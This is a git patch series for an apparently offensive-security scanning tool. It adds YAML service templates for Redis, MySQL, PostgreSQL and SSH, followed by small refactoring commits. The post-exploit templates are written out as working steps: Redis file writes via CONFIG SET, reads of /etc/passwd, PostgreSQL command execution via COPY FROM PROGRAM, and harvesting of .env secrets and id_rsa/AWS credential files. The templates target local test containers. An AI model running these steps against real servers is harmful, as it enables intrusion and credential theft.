save_result + matchers: + - type: word + part: save_result + words: ["OK"] + extractors: + - type: regex + name: redis_webshell_written + part: save_result + regex: ['(OK)'] + group: 1 + + - ops: + - kv: "CONFIG SET dir {{orig_dir}}" + - kv: "CONFIG SET dbfilename {{orig_file}}" diff --git a/testdata/service-template/templates/payload/redis-payload-cli.yaml b/testdata/service-template/templates/payload/redis-payload-cli.yaml new file mode 100644 index 0000000..80dbac1 --- /dev/null +++ b/testdata/service-template/templates/payload/redis-payload-cli.yaml @@ -0,0 +1,24 @@ +id: local-redis-payload-cli +service: [redis] +info: + name: Local Redis service-template CLI payload smoke test + severity: info + tags: local,docker,redis,payload + +services: + - attack: pitchfork + ops: + - kv: "SET §payload_key§ payload-cli-ok" + name: set_result + - kv: "GET §payload_key§" + name: get_result + matchers: + - type: word + part: get_result + words: ["payload-cli-ok"] + extractors: + - type: regex + name: redis_payload_value + part: get_result + regex: ['(payload-cli-ok)'] + group: 1 diff --git a/testdata/service-template/templates/post-exploit/mysql-post-exploit-local.yaml b/testdata/service-template/templates/post-exploit/mysql-post-exploit-local.yaml new file mode 100644 index 0000000..7769158 --- /dev/null +++ b/testdata/service-template/templates/post-exploit/mysql-post-exploit-local.yaml @@ -0,0 +1,42 @@ +id: local-mysql-post-exploit +service: [mysql] +variables: + outfile_path: /tmp/zombie_mysql_post_exploit.txt + outfile_marker: zombie-mysql-post-exploit +info: + name: Local MySQL Post-Exploit Capability Smoke + severity: high + tags: local,docker,mysql,post-exploit,file-read,file-write + +services: + - ops: + - db: "SELECT CONCAT('cred=', username, ':', api_token) FROM zombie.app_credentials WHERE id = 1" + name: app_credential + - db: "SELECT CONCAT('passwd_line=', SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'), CHAR(10), 1))" + name: passwd_file + - db: "SELECT '{{outfile_marker}}' INTO OUTFILE '{{outfile_path}}'" + - db: "SELECT CONCAT('outfile=', LOAD_FILE('{{outfile_path}}'))" + name: outfile_content + matchers: + - type: word + part: app_credential + words: ["cred=demo:token"] + - type: word + part: outfile_content + words: ["{{outfile_marker}}"] + extractors: + - type: regex + name: mysql_app_credential + part: app_credential + regex: ['(?m)^cred=(.+)$'] + group: 1 + - type: regex + name: mysql_passwd_root + part: passwd_file + regex: ['(?m)^passwd_line=(root:.+)$'] + group: 1 + - type: regex + name: mysql_outfile_content + part: outfile_content + regex: ['(?m)^outfile=(.+)$'] + group: 1 diff --git a/testdata/service-template/templates/post-exploit/postgres-post-exploit-local.yaml b/testdata/service-template/templates/post-exploit/postgres-post-exploit-local.yaml new file mode 100644 index 0000000..b918781 --- /dev/null +++ b/testdata/service-template/templates/post-exploit/postgres-post-exploit-local.yaml @@ -0,0 +1,35 @@ +id: local-postgres-post-exploit +service: [postgresql] +variables: + pg_output_path: /tmp/zombie_pg_post_exploit.txt + pg_marker: zombie-pg-post-exploit +info: + name: Local PostgreSQL Post-Exploit Capability Smoke + severity: high + tags: local,docker,postgresql,post-exploit,file-read,command-exec + +services: + - ops: + - db: "SELECT 'server_file=' || split_part(pg_read_file('/etc/passwd'), E'\n', 1)" + name: server_file + - db: "DROP TABLE IF EXISTS zombie_post_exploit" + - db: "CREATE TABLE zombie_post_exploit(cmd_output text)" + - db: 'COPY zombie_post_exploit FROM PROGRAM ''sh -c "printf {{pg_marker}} > {{pg_output_path}}; cat {{pg_output_path}}"''' + - db: "SELECT 'cmd_output=' || cmd_output FROM zombie_post_exploit" + name: cmd_output + - db: "DROP TABLE IF EXISTS zombie_post_exploit" + matchers: + - type: word + part: cmd_output + words: ["{{pg_marker}}"] + extractors: + - type: regex + name: pg_passwd_root + part: server_file + regex: ['(?m)^server_file=(root:.+)$'] + group: 1 + - type: regex + name: pg_program_output + part: cmd_output + regex: ['(?m)^cmd_output=(.+)$'] + group: 1 diff --git a/testdata/service-template/templates/post-exploit/redis-post-exploit-local.yaml b/testdata/service-template/templates/post-exploit/redis-post-exploit-local.yaml new file mode 100644 index 0000000..f79e39b --- /dev/null +++ b/testdata/service-template/templates/post-exploit/redis-post-exploit-local.yaml @@ -0,0 +1,72 @@ +id: local-redis-post-exploit +service: [redis] +variables: + redis_file_dir: /tmp + redis_file_name: zombie_redis_post_exploit.rdb + redis_file_marker: zombie-redis-post-exploit +info: + name: Local Redis Post-Exploit Capability Smoke + severity: high + tags: local,docker,redis,post-exploit + +services: + - ops: + - kv: "CONFIG GET dir" + name: dir + - kv: "CONFIG GET dbfilename" + name: dbfilename + extractors: + - type: regex + name: orig_dir + internal: true + part: dir + regex: ['(?m)^dir\s+(.+)$'] + group: 1 + - type: regex + name: orig_file + internal: true + part: dbfilename + regex: ['(?m)^dbfilename\s+(.+)$'] + group: 1 + + - ops: + - kv: "GET app:password" + name: app_password + - kv: "KEYS *token*" + name: token_keys + matchers: + - type: word + part: app_password + words: ["zombie-secret-pass"] + extractors: + - type: regex + name: redis_sensitive_value + part: app_password + regex: ['(zombie-secret-pass)'] + group: 1 + - type: regex + name: redis_token_key + part: token_keys + regex: ['(api:token)'] + group: 1 + + - ops: + - kv: "CONFIG SET dir {{redis_file_dir}}" + - kv: "CONFIG SET dbfilename {{redis_file_name}}" + - kv: 'SET zombie:post:file "{{redis_file_marker}}"' + - kv: "SAVE" + name: save_result + matchers: + - type: word + part: save_result + words: ["OK"] + extractors: + - type: regex + name: redis_file_write_result + part: save_result + regex: ['(OK)'] + group: 1 + + - ops: + - kv: "CONFIG SET dir {{orig_dir}}" + - kv: "CONFIG SET dbfilename {{orig_file}}" diff --git a/testdata/service-template/templates/post-exploit/ssh-post-exploit-local.yaml b/testdata/service-template/templates/post-exploit/ssh-post-exploit-local.yaml new file mode 100644 index 0000000..0ea17bd --- /dev/null +++ b/testdata/service-template/templates/post-exploit/ssh-post-exploit-local.yaml @@ -0,0 +1,48 @@ +id: local-ssh-post-exploit +service: [ssh] +variables: + ssh_marker_path: /tmp/zombie_ssh_post_exploit.txt + ssh_marker: zombie-ssh-post-exploit +info: + name: Local SSH Post-Exploit Capability Smoke + severity: high + tags: local,docker,ssh,post-exploit,command-exec,file-read,file-write + +services: + - ops: + - shell: "id" + name: whoami + - shell: "printf '{{ssh_marker}}' > {{ssh_marker_path}} && cat {{ssh_marker_path}}" + name: file_write + - shell: "cat /home/zombie/app/.env 2>/dev/null" + name: env_file + - shell: "find /home/zombie -maxdepth 3 -type f \\( -name 'id_rsa' -o -name 'credentials' -o -name 'config' \\) 2>/dev/null" + name: credential_paths + matchers: + - type: word + part: file_write + words: ["{{ssh_marker}}"] + - type: word + part: env_file + words: ["APP_SECRET="] + extractors: + - type: regex + name: ssh_username + part: whoami + regex: ['uid=\d+\((\w+)\)'] + group: 1 + - type: regex + name: ssh_file_write + part: file_write + regex: ['(zombie-ssh-post-exploit)'] + group: 1 + - type: regex + name: ssh_env_secret + part: env_file + regex: ['APP_SECRET=(\S+)'] + group: 1 + - type: regex + name: ssh_aws_credentials_path + part: credential_paths + regex: ['(.+\.aws/credentials)'] + group: 1 diff --git a/testdata/service-template/templates/smoke/mysql-smoke.yaml b/testdata/service-template/templates/smoke/mysql-smoke.yaml new file mode 100644 index 0000000..ef26994 --- /dev/null +++ b/testdata/service-template/templates/smoke/mysql-smoke.yaml @@ -0,0 +1,28 @@ +id: local-mysql-smoke +service: [mysql] +info: + name: Local MySQL service-template smoke test + severity: info + tags: local,docker,mysql + +services: + - ops: + - db: "SELECT marker FROM zombie.smoke WHERE id = 1" + name: marker + - db: "SHOW DATABASES" + name: databases + matchers: + - type: word + part: marker + words: ["zombie-mysql-ok"] + extractors: + - type: regex + name: mysql_marker + part: marker + regex: ['(?m)^(zombie-mysql-ok)$'] + group: 1 + - type: regex + name: mysql_database + part: databases + regex: ['(?m)^(zombie)$'] + group: 1 diff --git a/testdata/service-template/templates/smoke/postgres-smoke.yaml b/testdata/service-template/templates/smoke/postgres-smoke.yaml new file mode 100644 index 0000000..01209a2 --- /dev/null +++ b/testdata/service-template/templates/smoke/postgres-smoke.yaml @@ -0,0 +1,28 @@ +id: local-postgres-smoke +service: [postgresql] +info: + name: Local PostgreSQL service-template smoke test + severity: info + tags: local,docker,postgresql + +services: + - ops: + - db: "SELECT marker FROM smoke WHERE id = 1" + name: marker + - db: "SHOW DATABASES" + name: databases + matchers: + - type: word + part: marker + words: ["zombie-postgres-ok"] + extractors: + - type: regex + name: postgres_marker + part: marker + regex: ['(?m)^(zombie-postgres-ok)$'] + group: 1 + - type: regex + name: postgres_database + part: databases + regex: ['(?m)^(postgres)$'] + group: 1 diff --git a/testdata/service-template/templates/smoke/redis-smoke.yaml b/testdata/service-template/templates/smoke/redis-smoke.yaml new file mode 100644 index 0000000..49182e1 --- /dev/null +++ b/testdata/service-template/templates/smoke/redis-smoke.yaml @@ -0,0 +1,33 @@ +id: local-redis-smoke +service: [redis] +info: + name: Local Redis service-template smoke test + severity: info + tags: local,docker,redis + +services: + - ops: + - kv: "PING" + name: ping + - kv: "INFO server" + name: info + - kv: "GET zombie:template" + name: value + matchers: + - type: word + part: ping + words: ["PONG"] + - type: word + part: value + words: ["zombie-template-ok"] + extractors: + - type: regex + name: redis_version + part: info + regex: ['redis_version:([0-9.]+)'] + group: 1 + - type: regex + name: redis_value + part: value + regex: ['(zombie-template-ok)'] + group: 1 diff --git a/testdata/service-template/templates/smoke/ssh-smoke.yaml b/testdata/service-template/templates/smoke/ssh-smoke.yaml new file mode 100644 index 0000000..81747ef --- /dev/null +++ b/testdata/service-template/templates/smoke/ssh-smoke.yaml @@ -0,0 +1,28 @@ +id: local-ssh-smoke +service: [ssh] +info: + name: Local SSH service-template smoke test + severity: info + tags: local,docker,ssh + +services: + - ops: + - shell: "printf zombie-ssh-ok" + name: marker + - shell: "id -un" + name: whoami + matchers: + - type: word + part: marker + words: ["zombie-ssh-ok"] + extractors: + - type: regex + name: ssh_marker + part: marker + regex: ['(zombie-ssh-ok)'] + group: 1 + - type: regex + name: ssh_user + part: whoami + regex: ['(?m)^([A-Za-z0-9_-]+)$'] + group: 1 From 72b321de69eda70f92e8379aeba82f37ec8abf6b Mon Sep 17 00:00:00 2001 From: M09Ic Date: Fri, 26 Jun 2026 11:06:26 -0700 Subject: [PATCH 16/18] chore: update templates submodule (loot rules) Co-Authored-By: Claude Opus 4.6 (1M context) --- templates | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates b/templates index 20b62a6..3ab5fbc 160000 --- a/templates +++ b/templates @@ -1 +1 @@ -Subproject commit 20b62a61a9cfb9cac11c50f99bc49ae223cda39f +Subproject commit 3ab5fbcd7e8dca5ca8bc8ed8239ef2031fd595b7 From 56408a31b1d42eeb58422083baab2c9ff0271bfe Mon Sep 17 00:00:00 2001 From: M09Ic Date: Fri, 26 Jun 2026 11:14:33 -0700 Subject: [PATCH 17/18] refactor: move loot templates to zombie/loot/, fix load path Co-Authored-By: Claude Opus 4.6 (1M context) --- service/load_test.go | 2 +- templates | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/service/load_test.go b/service/load_test.go index dc87687..605dd0c 100644 --- a/service/load_test.go +++ b/service/load_test.go @@ -89,7 +89,7 @@ func TestLoadAllTemplates(t *testing.T) { } func TestLoadLootTemplates(t *testing.T) { - lootDir := "../../proton/templates/loot" + lootDir := "../templates/zombie/loot" if _, err := os.Stat(lootDir); os.IsNotExist(err) { t.Skipf("loot templates dir not found: %s", lootDir) } diff --git a/templates b/templates index 3ab5fbc..51a45da 160000 --- a/templates +++ b/templates @@ -1 +1 @@ -Subproject commit 3ab5fbcd7e8dca5ca8bc8ed8239ef2031fd595b7 +Subproject commit 51a45dab4895e7b16a247104dcba6231490cdfd2 From 781b278988c056606145d2468db65a20b9280b5d Mon Sep 17 00:00:00 2001 From: M09Ic Date: Fri, 26 Jun 2026 11:17:14 -0700 Subject: [PATCH 18/18] refactor: rename Services to RequestsService for semantic alignment Aligns with RequestsHTTP and RequestsNetwork naming convention. Co-Authored-By: Claude Opus 4.6 (1M context) --- action/service.go | 4 ++-- service/load_test.go | 6 +++--- service/template.go | 4 ++-- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/action/service.go b/action/service.go index 407d9cc..ff80fa2 100644 --- a/action/service.go +++ b/action/service.go @@ -200,7 +200,7 @@ func loadServiceTemplateBytes(data []byte, execOpts *protocols.ExecuterOptions) if err := yaml.Unmarshal(data, &tmpl); err != nil { return nil, err } - if len(tmpl.Services) == 0 && len(tmpl.RequestsHTTP) == 0 && len(tmpl.RequestsNetwork) == 0 { + if len(tmpl.RequestsService) == 0 && len(tmpl.RequestsHTTP) == 0 && len(tmpl.RequestsNetwork) == 0 { return nil, nil } if err := tmpl.Compile(execOpts); err != nil { @@ -221,7 +221,7 @@ func LoadServiceTemplatesFromData(data []byte) ([]*service.Template, error) { var all []*service.Template for i := range list { tmpl := &list[i] - if len(tmpl.Services) == 0 && len(tmpl.RequestsHTTP) == 0 && len(tmpl.RequestsNetwork) == 0 { + if len(tmpl.RequestsService) == 0 && len(tmpl.RequestsHTTP) == 0 && len(tmpl.RequestsNetwork) == 0 { continue } if err := tmpl.Compile(execOpts); err != nil { diff --git a/service/load_test.go b/service/load_test.go index 605dd0c..865eccc 100644 --- a/service/load_test.go +++ b/service/load_test.go @@ -50,7 +50,7 @@ func TestLoadAllTemplates(t *testing.T) { failed++ return nil } - if len(tmpl.Services) == 0 { + if len(tmpl.RequestsService) == 0 { t.Errorf("%s: no service request blocks", path) failed++ return nil @@ -62,7 +62,7 @@ func TestLoadAllTemplates(t *testing.T) { return nil } - for i, req := range tmpl.Services { + for i, req := range tmpl.RequestsService { if len(req.Ops) == 0 { t.Errorf("%s: services[%d] has no ops", path, i) failed++ @@ -78,7 +78,7 @@ func TestLoadAllTemplates(t *testing.T) { } passed++ - t.Logf("OK %s (id=%s, service=%v, blocks=%d)", filepath.Base(path), tmpl.Id, tmpl.Service, len(tmpl.Services)) + t.Logf("OK %s (id=%s, service=%v, blocks=%d)", filepath.Base(path), tmpl.Id, tmpl.Service, len(tmpl.RequestsService)) return nil }) diff --git a/service/template.go b/service/template.go index bf3ad1d..f4fc268 100644 --- a/service/template.go +++ b/service/template.go @@ -28,7 +28,7 @@ type Template struct { Variables map[string]interface{} `json:"variables,omitempty" yaml:"variables,omitempty"` Info Info `json:"info" yaml:"info"` - Services []*Request `json:"services,omitempty" yaml:"services,omitempty"` + RequestsService []*Request `json:"services,omitempty" yaml:"services,omitempty"` RequestsHTTP []*http.Request `json:"http,omitempty" yaml:"http,omitempty"` RequestsNetwork []*network.Request `json:"network,omitempty" yaml:"network,omitempty"` @@ -81,7 +81,7 @@ func (t *Template) Compile(options *protocols.ExecuterOptions) error { t.allRequests = nil - for _, req := range t.Services { + for _, req := range t.RequestsService { if len(req.Payloads) > 0 { attack := req.AttackType if attack == "" {